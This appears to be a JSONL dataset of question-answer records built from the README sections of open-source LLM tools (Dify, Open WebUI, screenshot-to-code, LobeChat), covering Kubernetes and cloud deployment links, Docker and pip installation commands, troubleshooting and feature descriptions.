{"id": "gh_2bde85d26fef", "question": "How to: Deployment with Kubernetes", "question_body": "About langgenius/dify", "answer": "If you'd like to configure a highly-available setup, there are community-contributed [Helm Charts](https://helm.sh/) and YAML files which allow Dify to be deployed on Kubernetes.\n\n- [Helm Chart by @LeoQuote](https://github.com/douban/charts/tree/master/charts/dify)\n- [Helm Chart by @BorisPolonsky](https://github.com/BorisPolonsky/dify-helm)\n- [Helm Chart by @magicsong](https://github.com/magicsong/ai-charts)\n- [YAML file by @Winson-030](https://github.com/Winson-030/dify-kubernetes)\n- [YAML file by @wyy-holding](https://github.com/wyy-holding/dify-k8s)\n- [🚀 NEW! YAML files (Supports Dify v1.6.0) by @Zhoneym](https://github.com/Zhoneym/DifyAI-Kubernetes)\n\n#### Using Terraform for Deployment\n\nDeploy Dify to Cloud Platform with a single click using [terraform](https://www.terraform.io/)\n\n##### Azure Global\n\n- [Azure Terraform by @nikawang](https://github.com/nikawang/dify-azure-terraform)\n\n##### Google Cloud\n\n- [Google Cloud Terraform by @sotazum](https://github.com/DeNA/dify-google-cloud-terraform)\n\n#### Using AWS CDK for Deployment\n\nDeploy Dify to AWS with [CDK](https://aws.amazon.com/cdk/)\n\n##### AWS\n\n- [AWS CDK by @KevinZhao (EKS based)](https://github.com/aws-samples/solution-for-deploying-dify-on-aws)\n- [AWS CDK by @tmokmss (ECS based)](https://github.com/aws-samples/dify-self-hosted-on-aws)\n\n#### Using Alibaba Cloud Computing Nest\n\nQuickly deploy Dify to Alibaba cloud with [Alibaba Cloud Computing Nest](https://computenest.console.aliyun.com/service/instance/create/default?type=user&ServiceName=Dify%E7%A4%BE%E5%8C%BA%E7%89%88)\n\n#### Using Alibaba Cloud Data Management\n\nOne-Click deploy Dify to Alibaba Cloud with [Alibaba Cloud Data Management](https://www.alibabacloud.com/help/en/dms/dify-in-invitational-preview/)\n\n#### Deploy to AKS with Azure Devops Pipeline\n\nOne-Click deploy Dify to AKS with [Azure Devops Pipeline Helm Chart by @LeoZhang](https://github.com/Ruiruiz30/Dify-helm-chart-AKS)", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327643"}
{"id": "gh_f6cf46f7d41d", "question": "How to: Contributing", "question_body": "About langgenius/dify", "answer": "For those who'd like to contribute code, see our [Contribution Guide](https://github.com/langgenius/dify/blob/main/CONTRIBUTING.md).\nAt the same time, please consider supporting Dify by sharing it on social media and at events and conferences.\n\n> We are looking for contributors to help translate Dify into languages other than Mandarin or English. If you are interested in helping, please see the [i18n README](https://github.com/langgenius/dify/blob/main/web/i18n-config/README.md) for more information, and leave us a comment in the `global-users` channel of our [Discord Community Server](https://discord.gg/8Tpq4AcN9c).", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327650"}
{"id": "gh_dab533882eec", "question": "How to: Community & contact", "question_body": "About langgenius/dify", "answer": "- [GitHub Discussion](https://github.com/langgenius/dify/discussions). Best for: sharing feedback and asking questions.\n- [GitHub Issues](https://github.com/langgenius/dify/issues). Best for: bugs you encounter using Dify.AI, and feature proposals. See our [Contribution Guide](https://github.com/langgenius/dify/blob/main/CONTRIBUTING.md).\n- [Discord](https://discord.gg/FngNHpbcY7). Best for: sharing your applications and hanging out with the community.\n- [X(Twitter)](https://twitter.com/dify_ai). Best for: sharing your applications and hanging out with the community.\n\n**Contributors**", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327657"}
{"id": "gh_0aa6c4b8624e", "question": "How to: Star history", "question_body": "About langgenius/dify", "answer": "[![Star History Chart](https://api.star-history.com/svg?repos=langgenius/dify&type=Date)](https://star-history.com/#langgenius/dify&Date)", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327665"}
{"id": "gh_a8957d12b615", "question": "How to: Security disclosure", "question_body": "About langgenius/dify", "answer": "To protect your privacy, please avoid posting security issues on GitHub. Instead, report issues to security@dify.ai, and our team will respond with detailed answer.", "tags": ["langgenius"], "source": "github_gists", "category": "langgenius", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 126155, "answer_score": 10, "has_code": false, "url": "https://github.com/langgenius/dify", "collected_at": "2026-01-16T23:27:58.327670"}
{"id": "gh_743df875624e", "question": "How to: Key Features of Open WebUI ⭐", "question_body": "About open-webui/open-webui", "answer": "- 🚀 **Effortless Setup**: Install seamlessly using Docker or Kubernetes (kubectl, kustomize or helm) for a hassle-free experience with support for both `:ollama` and `:cuda` tagged images.\n\n- 🤝 **Ollama/OpenAI API Integration**: Effortlessly integrate OpenAI-compatible APIs for versatile conversations alongside Ollama models. Customize the OpenAI API URL to link with **LMStudio, GroqCloud, Mistral, OpenRouter, and more**.\n\n- 🛡️ **Granular Permissions and User Groups**: By allowing administrators to create detailed user roles and permissions, we ensure a secure user environment. This granularity not only enhances security but also allows for customized user experiences, fostering a sense of ownership and responsibility amongst users.\n\n- 📱 **Responsive Design**: Enjoy a seamless experience across Desktop PC, Laptop, and Mobile devices.\n\n- 📱 **Progressive Web App (PWA) for Mobile**: Enjoy a native app-like experience on your mobile device with our PWA, providing offline access on localhost and a seamless user interface.\n\n- ✒️🔢 **Full Markdown and LaTeX Support**: Elevate your LLM experience with comprehensive Markdown and LaTeX capabilities for enriched interaction.\n\n- 🎤📹 **Hands-Free Voice/Video Call**: Experience seamless communication with integrated hands-free voice and video call features using multiple Speech-to-Text providers (Local Whisper, OpenAI, Deepgram, Azure) and Text-to-Speech engines (Azure, ElevenLabs, OpenAI, Transformers, WebAPI), allowing for dynamic and interactive chat environments.\n\n- 🛠️ **Model Builder**: Easily create Ollama models via the Web UI. Create and add custom characters/agents, customize chat elements, and import models effortlessly through [Open WebUI Community](https://openwebui.com/) integration.\n\n- 🐍 **Native Python Function Calling Tool**: Enhance your LLMs with built-in code editor support in the tools workspace. Bring Your Own Function (BYOF) by simply adding your pure Python functions, enabling seamless integration with LLMs.\n\n- 💾 **Persistent Artifact Storage**: Built-in key-value storage API for artifacts, enabling features like journals, trackers, leaderboards, and collaborative tools with both personal and shared data scopes across sessions.\n\n- 📚 **Local RAG Integration**: Dive into the future of chat interactions with groundbreaking Retrieval Augmented Generation (RAG) support using your choice of 9 vector databases and multiple content extraction engines (Tika, Docling, Document Intelligence, Mistral OCR, External loaders). Load documents directly into chat or add files to your document library, effortlessly accessing them using the `#` command before a query.\n\n- 🔍 **Web Search for RAG**: Perform web searches using 15+ providers including `SearXNG`, `Google PSE`, `Brave Search`, `Kagi`, `Mojeek`, `Tavily`, `Perplexity`, `serpstack`, `serper`, `Serply`, `DuckDuckGo`, `SearchApi`, `SerpApi`, `Bing`, `Jina`, `Exa`, `Sougou`, `Azure AI Search`, and `Ollama Cloud`, injecting results directly into your chat experience.\n\n- 🌐 **Web Browsing Capability**: Seamlessly integrate websites into your chat experience using the `#` command followed by a URL. This feature allows you to incorporate web content directly into your conversations, enhancing the richness and depth of your interactions.\n\n- 🎨 **Image Generation & Editing Integration**: Create and edit images using multiple engines including OpenAI's DALL-E, Gemini, ComfyUI (local), and AUTOMATIC1111 (local), with support for both generation and prompt-based editing workflows.\n\n- ⚙️ **Many Models Conversations**: Effortlessly engage with various models simultaneously, harnessing their unique strengths for optimal responses. Enhance your experience by leveraging a diverse set of models in parallel.\n\n- 🔐 **Role-Based Access Control (RBAC)**: Ensure secure access with restricted permissions; only authorized individuals can access your Ollama, and exclusive model creation/pulling rights are reserved for administrators.\n\n- 🗄️ **Flexible Database & Storage Options**: Choose from SQLite (with optional encryption), PostgreSQL, or configure cloud storage backends (S3, Google Cloud Storage, Azure Blob Storage) for scalable deployments.\n\n- 🔍 **Advanced Vector Database Support**: Select from 9 vector database options including ChromaDB, PGVector, Qdrant, Milvus, Elasticsearch, OpenSearch, Pinecone, S3Vector, and Oracle 23ai for optimal RAG performance.\n\n- 🔐 **Enterprise Authentication**: Full support for LDAP/Active Directory integration, SCIM 2.0 automated provisioning, and SSO via trusted headers alongside OAuth providers. Enterprise-grade user and group provisioning through SCIM 2.0 protocol, enabling seamless integration with identity providers like Okta, Azure AD, and Google Workspace for automated user lifecycle management.\n\n- ☁️ **Cloud-Native Integration**: Native support for Google Drive and OneDrive/SharePoint file picking, enabling seamless document import from enterprise cloud storage.\n\n- 📊 **Production Observability**: B", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 120898, "answer_score": 10, "has_code": false, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122192"}
{"id": "gh_143b5e1afb21", "question": "How to: Installation via Python pip 🐍", "question_body": "About open-webui/open-webui", "answer": "Open WebUI can be installed using pip, the Python package installer. Before proceeding, ensure you're using **Python 3.11** to avoid compatibility issues.\n\n1. **Install Open WebUI**:\n   Open your terminal and run the following command to install Open WebUI:\n\n   ```bash\n   pip install open-webui\n   ```\n\n2. **Running Open WebUI**:\n   After installation, you can start Open WebUI by executing:\n\n   ```bash\n   open-webui serve\n   ```\n\nThis will start the Open WebUI server, which you can access at [http://localhost:8080](http://localhost:8080)", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122210"}
{"id": "gh_747b59bf76c6", "question": "How to: Quick Start with Docker 🐳", "question_body": "About open-webui/open-webui", "answer": "> [!NOTE]  \n> Please note that for certain Docker environments, additional configurations might be needed. If you encounter any connection issues, our detailed guide on [Open WebUI Documentation](https://docs.openwebui.com/) is ready to assist you.\n\n> [!WARNING]\n> When using Docker to install Open WebUI, make sure to include the `-v open-webui:/app/backend/data` in your Docker command. This step is crucial as it ensures your database is properly mounted and prevents any loss of data.\n\n> [!TIP]  \n> If you wish to utilize Open WebUI with Ollama included or CUDA acceleration, we recommend utilizing our official images tagged with either `:cuda` or `:ollama`. To enable CUDA, you must install the [Nvidia CUDA container toolkit](https://docs.nvidia.com/dgx/nvidia-container-runtime-upgrade/) on your Linux/WSL system.", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 120898, "answer_score": 10, "has_code": false, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122219"}
{"id": "gh_93dbb92b2838", "question": "How to: Installation with Default Configuration", "question_body": "About open-webui/open-webui", "answer": "- **If Ollama is on your computer**, use this command:\n\n  ```bash\n  docker run -d -p 3000:8080 --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main\n  ```\n\n- **If Ollama is on a Different Server**, use this command:\n\n  To connect to Ollama on another server, change the `OLLAMA_BASE_URL` to the server's URL:\n\n  ```bash\n  docker run -d -p 3000:8080 -e OLLAMA_BASE_URL=https://example.com -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main\n  ```\n\n- **To run Open WebUI with Nvidia GPU support**, use this command:\n\n  ```bash\n  docker run -d -p 3000:8080 --gpus all --add-host=host.docker.internal:host-gateway -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:cuda\n  ```", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122227"}
{"id": "gh_8b7d68dd4c00", "question": "How to: Installation for OpenAI API Usage Only", "question_body": "About open-webui/open-webui", "answer": "- **If you're only using OpenAI API**, use this command:\n\n  ```bash\n  docker run -d -p 3000:8080 -e OPENAI_API_KEY=your_secret_key -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:main\n  ```", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122233"}
{"id": "gh_5a3f6f593ec9", "question": "How to: Installing Open WebUI with Bundled Ollama Support", "question_body": "About open-webui/open-webui", "answer": "This installation method uses a single container image that bundles Open WebUI with Ollama, allowing for a streamlined setup via a single command. Choose the appropriate command based on your hardware setup:\n\n- **With GPU Support**:\n  Utilize GPU resources by running the following command:\n\n  ```bash\n  docker run -d -p 3000:8080 --gpus=all -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama\n  ```\n\n- **For CPU Only**:\n  If you're not using a GPU, use this command instead:\n\n  ```bash\n  docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama\n  ```\n\nBoth commands facilitate a built-in, hassle-free installation of both Open WebUI and Ollama, ensuring that you can get everything up and running swiftly.\n\nAfter installation, you can access Open WebUI at [http://localhost:3000](http://localhost:3000). Enjoy! 😄", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122243"}
{"id": "gh_e1354800120d", "question": "How to: Other Installation Methods", "question_body": "About open-webui/open-webui", "answer": "We offer various installation alternatives, including non-Docker native installation methods, Docker Compose, Kustomize, and Helm. Visit our [Open WebUI Documentation](https://docs.openwebui.com/getting-started/) or join our [Discord community](https://discord.gg/5rJgQTnV4s) for comprehensive guidance.\n\nLook at the [Local Development Guide](https://docs.openwebui.com/getting-started/advanced-topics/development) for instructions on setting up a local development environment.", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 120898, "answer_score": 10, "has_code": false, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122249"}
{"id": "gh_ef2509705e9e", "question": "How to: Troubleshooting", "question_body": "About open-webui/open-webui", "answer": "Encountering connection issues? Our [Open WebUI Documentation](https://docs.openwebui.com/troubleshooting/) has got you covered. For further assistance and to join our vibrant community, visit the [Open WebUI Discord](https://discord.gg/5rJgQTnV4s).\n\n#### Open WebUI: Server Connection Error\n\nIf you're experiencing connection issues, it’s often due to the WebUI docker container not being able to reach the Ollama server at 127.0.0.1:11434 (host.docker.internal:11434) inside the container . Use the `--network=host` flag in your docker command to resolve this. Note that the port changes from 3000 to 8080, resulting in the link: `http://localhost:8080`.\n\n**Example Docker Command**:\n\n```bash\ndocker run -d --network=host -v open-webui:/app/backend/data -e OLLAMA_BASE_URL=http://127.0.0.1:11434 --name open-webui --restart always ghcr.io/open-webui/open-webui:main\n```", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122257"}
{"id": "gh_7c4c2b0256f4", "question": "How to: Keeping Your Docker Installation Up-to-Date", "question_body": "About open-webui/open-webui", "answer": "Check our Updating Guide available in our [Open WebUI Documentation](https://docs.openwebui.com/getting-started/updating).", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 120898, "answer_score": 10, "has_code": false, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122263"}
{"id": "gh_326100792633", "question": "How to: Using the Dev Branch 🌙", "question_body": "About open-webui/open-webui", "answer": "> [!WARNING]\n> The `:dev` branch contains the latest unstable features and changes. Use it at your own risk as it may have bugs or incomplete features.\n\nIf you want to try out the latest bleeding-edge features and are okay with occasional instability, you can use the `:dev` tag like this:\n\n```bash\ndocker run -d -p 3000:8080 -v open-webui:/app/backend/data --name open-webui --add-host=host.docker.internal:host-gateway --restart always ghcr.io/open-webui/open-webui:dev\n```", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122270"}
{"id": "gh_868bd344a953", "question": "How to: Offline Mode", "question_body": "About open-webui/open-webui", "answer": "If you are running Open WebUI in an offline environment, you can set the `HF_HUB_OFFLINE` environment variable to `1` to prevent attempts to download models from the internet.\n\n```bash\nexport HF_HUB_OFFLINE=1\n```", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122275"}
{"id": "gh_28140d0b004c", "question": "How to: What's Next? 🌟", "question_body": "About open-webui/open-webui", "answer": "Discover upcoming features on our roadmap in the [Open WebUI Documentation](https://docs.openwebui.com/roadmap/).", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 120898, "answer_score": 10, "has_code": false, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122280"}
{"id": "gh_ca00e1272eba", "question": "How to: Star History", "question_body": "About open-webui/open-webui", "answer": "---\n\nCreated by [Timothy Jaeryang Baek](https://github.com/tjbck) - Let's make Open WebUI even more amazing together! 💪", "tags": ["open-webui"], "source": "github_gists", "category": "open-webui", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 120898, "answer_score": 10, "has_code": true, "url": "https://github.com/open-webui/open-webui", "collected_at": "2026-01-16T23:28:00.122291"}
{"id": "gh_bd5dca7d2933", "question": "How to: 🌍 Hosted Version", "question_body": "About abi/screenshot-to-code", "answer": "[Try it live on the hosted version (paid)](https://screenshottocode.com).", "tags": ["abi"], "source": "github_gists", "category": "abi", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 71432, "answer_score": 10, "has_code": false, "url": "https://github.com/abi/screenshot-to-code", "collected_at": "2026-01-16T23:28:04.547627"}
{"id": "gh_69675e149bcc", "question": "How to: 🛠 Getting Started", "question_body": "About abi/screenshot-to-code", "answer": "The app has a React/Vite frontend and a FastAPI backend.\n\nKeys needed:\n\n- [OpenAI API key with access to GPT-4](https://github.com/abi/screenshot-to-code/blob/main/Troubleshooting.md) or Anthropic key (optional)\n- Both are recommended so you can compare results from both Claude and GPT4o\n\nIf you'd like to run the app with Ollama open source models (not recommended due to poor quality results), [follow this comment](https://github.com/abi/screenshot-to-code/issues/354#issuecomment-2435479853).\n\nRun the backend (I use Poetry for package management - `pip install --upgrade poetry` if you don't have it):\n\n```bash\ncd backend\necho \"OPENAI_API_KEY=sk-your-key\" > .env\necho \"ANTHROPIC_API_KEY=your-key\" > .env\npoetry install\npoetry shell\npoetry run uvicorn main:app --reload --port 7001\n```\n\nYou can also set up the keys using the settings dialog on the front-end (click the gear icon after loading the frontend).\n\nRun the frontend:\n\n```bash\ncd frontend\nyarn\nyarn dev\n```\n\nOpen http://localhost:5173 to use the app.\n\nIf you prefer to run the backend on a different port, update VITE_WS_BACKEND_URL in `frontend/.env.local`\n\nFor debugging purposes, if you don't want to waste GPT4-Vision credits, you can run the backend in mock mode (which streams a pre-recorded response):\n\n```bash\nMOCK=true poetry run uvicorn main:app --reload --port 7001\n```", "tags": ["abi"], "source": "github_gists", "category": "abi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 71432, "answer_score": 10, "has_code": true, "url": "https://github.com/abi/screenshot-to-code", "collected_at": "2026-01-16T23:28:04.547648"}
{"id": "gh_a7af01c5913f", "question": "How to: 📚 Examples", "question_body": "About abi/screenshot-to-code", "answer": "**NYTimes**\n\n| Original                                                                                                                                                        | Replica                                                                                                                                                         |\n| --------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------- |\n|\n|\n|\n\n**Instagram page (with not Taylor Swift pics)**\n\nhttps://github.com/abi/screenshot-to-code/assets/23818/503eb86a-356e-4dfc-926a-dabdb1ac7ba1\n\n**Hacker News** but it gets the colors wrong at first so we nudge it\n\nhttps://github.com/abi/screenshot-to-code/assets/23818/3fec0f77-44e8-4fb3-a769-ac7410315e5d", "tags": ["abi"], "source": "github_gists", "category": "abi", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 71432, "answer_score": 10, "has_code": true, "url": "https://github.com/abi/screenshot-to-code", "collected_at": "2026-01-16T23:28:04.547661"}
{"id": "gh_822c5a025082", "question": "How to: 👋🏻 Getting Started & Join Our Community", "question_body": "About lobehub/lobe-chat", "answer": "We are a group of e/acc design-engineers, hoping to provide modern design components and tools for AIGC.\nBy adopting the Bootstrapping approach, we aim to provide developers and users with a more open, transparent, and user-friendly product ecosystem.\n\nWhether for users or professional developers, LobeHub will be your AI Agent playground. Please be aware that LobeChat is currently under active development, and feedback is welcome for any [issues][issues-link] encountered.\n\n| [![][vercel-shield-badge]][vercel-link]   | No installation or registration necessary! Visit our website to experience it firsthand.                           |\n| :---------------------------------------- | :----------------------------------------------------------------------------------------------------------------- |\n| [![][discord-shield-badge]][discord-link] | Join our Discord community! This is where you can connect with developers and other enthusiastic users of LobeHub. |\n\n> \\[!IMPORTANT]\n>\n> **Star Us**, You will receive all release notifications from GitHub without any delay \\~ ⭐️\n\n[![][image-star]][github-stars-link]\nStar History", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 70203, "answer_score": 10, "has_code": true, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136047"}
{"id": "gh_15a790b11635", "question": "How to: ✨ Features", "question_body": "About lobehub/lobe-chat", "answer": "Transform your AI experience with LobeChat's powerful features designed for seamless connectivity, enhanced productivity, and unlimited creativity.\n\n![][image-feat-mcp]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136064"}
{"id": "gh_eb561f6d6454", "question": "How to: ✨ MCP Plugin One-Click Installation", "question_body": "About lobehub/lobe-chat", "answer": "**Seamlessly Connect Your AI to the World**\n\nUnlock the full potential of your AI by enabling smooth, secure, and dynamic interactions with external tools, data sources, and services. LobeChat's MCP (Model Context Protocol) plugin system breaks down the barriers between your AI and the digital ecosystem, allowing for unprecedented connectivity and functionality.\n\nTransform your conversations into powerful workflows by connecting to databases, APIs, file systems, and more. Experience the freedom of AI that truly understands and interacts with your world.\n\n[![][back-to-top]](#readme-top)\n\n![][image-feat-mcp-market]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136072"}
{"id": "gh_0876334057be", "question": "How to: 🏪 MCP Marketplace", "question_body": "About lobehub/lobe-chat", "answer": "**Discover, Connect, Extend**\n\nBrowse a growing library of MCP plugins to expand your AI's capabilities and streamline your workflows effortlessly. Visit [lobehub.com/mcp](https://lobehub.com/mcp) to explore the MCP Marketplace, which offers a curated collection of integrations that enhance your AI's ability to work with various tools and services.\n\nFrom productivity tools to development environments, discover new ways to extend your AI's reach and effectiveness. Connect with the community and find the perfect plugins for your specific needs.\n\n[![][back-to-top]](#readme-top)\n\n![][image-feat-desktop]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136080"}
{"id": "gh_80c239ca6592", "question": "How to: 🖥️ Desktop App", "question_body": "About lobehub/lobe-chat", "answer": "**Peak Performance, Zero Distractions**\n\nGet the full LobeChat experience without browser limitations—comprehensive, focused, and always ready to go. Our desktop application provides a dedicated environment for your AI interactions, ensuring optimal performance and minimal distractions.\n\nExperience faster response times, better resource management, and a more stable connection to your AI assistant. The desktop app is designed for users who demand the best performance from their AI tools.\n\n[![][back-to-top]](#readme-top)\n\n![][image-feat-web-search]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136089"}
{"id": "gh_e3625ed41ded", "question": "How to: 🌐 Smart Internet Search", "question_body": "About lobehub/lobe-chat", "answer": "**Online Knowledge On Demand**\n\nWith real-time internet access, your AI keeps up with the world—news, data, trends, and more. Stay informed and get the most current information available, enabling your AI to provide accurate and up-to-date responses.\n\nAccess live information, verify facts, and explore current events without leaving your conversation. Your AI becomes a gateway to the world's knowledge, always current and comprehensive.\n\n[![][back-to-top]](#readme-top)\n\n[![][image-feat-cot]][docs-feat-cot]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136097"}
{"id": "gh_a4af4f6844f7", "question": "How to: [Chain of Thought][docs-feat-cot]", "question_body": "About lobehub/lobe-chat", "answer": "Experience AI reasoning like never before. Watch as complex problems unfold step by step through our innovative Chain of Thought (CoT) visualization. This breakthrough feature provides unprecedented transparency into AI's decision-making process, allowing you to observe how conclusions are reached in real-time.\n\nBy breaking down complex reasoning into clear, logical steps, you can better understand and validate the AI's problem-solving approach. Whether you're debugging, learning, or simply curious about AI reasoning, CoT visualization transforms abstract thinking into an engaging, interactive experience.\n\n[![][back-to-top]](#readme-top)\n\n[![][image-feat-branch]][docs-feat-branch]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136104"}
{"id": "gh_08237d5a651f", "question": "How to: [Branching Conversations][docs-feat-branch]", "question_body": "About lobehub/lobe-chat", "answer": "Introducing a more natural and flexible way to chat with AI. With Branch Conversations, your discussions can flow in multiple directions, just like human conversations do. Create new conversation branches from any message, giving you the freedom to explore different paths while preserving the original context.\n\nChoose between two powerful modes:\n\n- **Continuation Mode:** Seamlessly extend your current discussion while maintaining valuable context\n- **Standalone Mode:** Start fresh with a new topic based on any previous message\n\nThis groundbreaking feature transforms linear conversations into dynamic, tree-like structures, enabling deeper exploration of ideas and more productive interactions.\n\n[![][back-to-top]](#readme-top)\n\n[![][image-feat-artifacts]][docs-feat-artifacts]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136112"}
{"id": "gh_c2c3a67adc6b", "question": "How to: [Artifacts Support][docs-feat-artifacts]", "question_body": "About lobehub/lobe-chat", "answer": "Experience the power of Claude Artifacts, now integrated into LobeChat. This revolutionary feature expands the boundaries of AI-human interaction, enabling real-time creation and visualization of diverse content formats.\n\nCreate and visualize with unprecedented flexibility:\n\n- Generate and display dynamic SVG graphics\n- Build and render interactive HTML pages in real-time\n- Produce professional documents in multiple formats\n\n[![][back-to-top]](#readme-top)\n\n[![][image-feat-knowledgebase]][docs-feat-knowledgebase]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136119"}
{"id": "gh_be6885c2f3af", "question": "How to: [File Upload /Knowledge Base][docs-feat-knowledgebase]", "question_body": "About lobehub/lobe-chat", "answer": "LobeChat supports file upload and knowledge base functionality. You can upload various types of files including documents, images, audio, and video, as well as create knowledge bases, making it convenient for users to manage and search for files. Additionally, you can utilize files and knowledge base features during conversations, enabling a richer dialogue experience.\n> \\[!TIP]\n>\n> Learn more on [📘 LobeChat Knowledge Base Launch — From Now On, Every Step Counts](https://lobehub.com/blog/knowledge-base)\n[![][back-to-top]](#readme-top)\n[![][image-feat-privoder]][docs-feat-provider]", "tags": ["lobehub"], "source": "github_gists", "category": "lobehub", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 70203, "answer_score": 10, "has_code": false, "url": "https://github.com/lobehub/lobe-chat", "collected_at": "2026-01-16T23:28:06.136128"}
